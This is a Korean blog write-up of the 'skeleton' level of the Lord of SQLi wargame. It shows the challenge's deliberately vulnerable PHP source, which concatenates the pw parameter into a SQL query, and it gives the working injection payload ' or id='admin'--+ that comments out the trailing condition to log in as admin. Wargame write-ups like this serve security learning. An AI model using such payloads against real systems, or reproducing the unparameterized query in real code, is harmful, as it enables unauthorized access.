Tyojong
[LOS] skeleton 본문
반응형
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
문제 목표
if($result['id'] == 'admin') solve("skeleton");
id가 admin이면 해결된다.
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
조회 되는 쿼리 뒷 부분을 보면 and 1=0 이 추가로 붙어있다. 하지만 별다른 필터링이 없기 때문에 그냥 뒷부분을 주석처리하면 된다.
문제 해결
?pw=' or id='admin'--+ 를 입력하면
해결된다.
728x90
'web > LOS' 카테고리의 다른 글
[LOS] vampire (0) | 2025.07.25 |
---|---|
[LOS] troll (0) | 2025.07.25 |
[LOS] orge (0) | 2025.07.22 |
[LOS] darkelf (0) | 2025.07.22 |
[LOS] wolfman (0) | 2025.07.21 |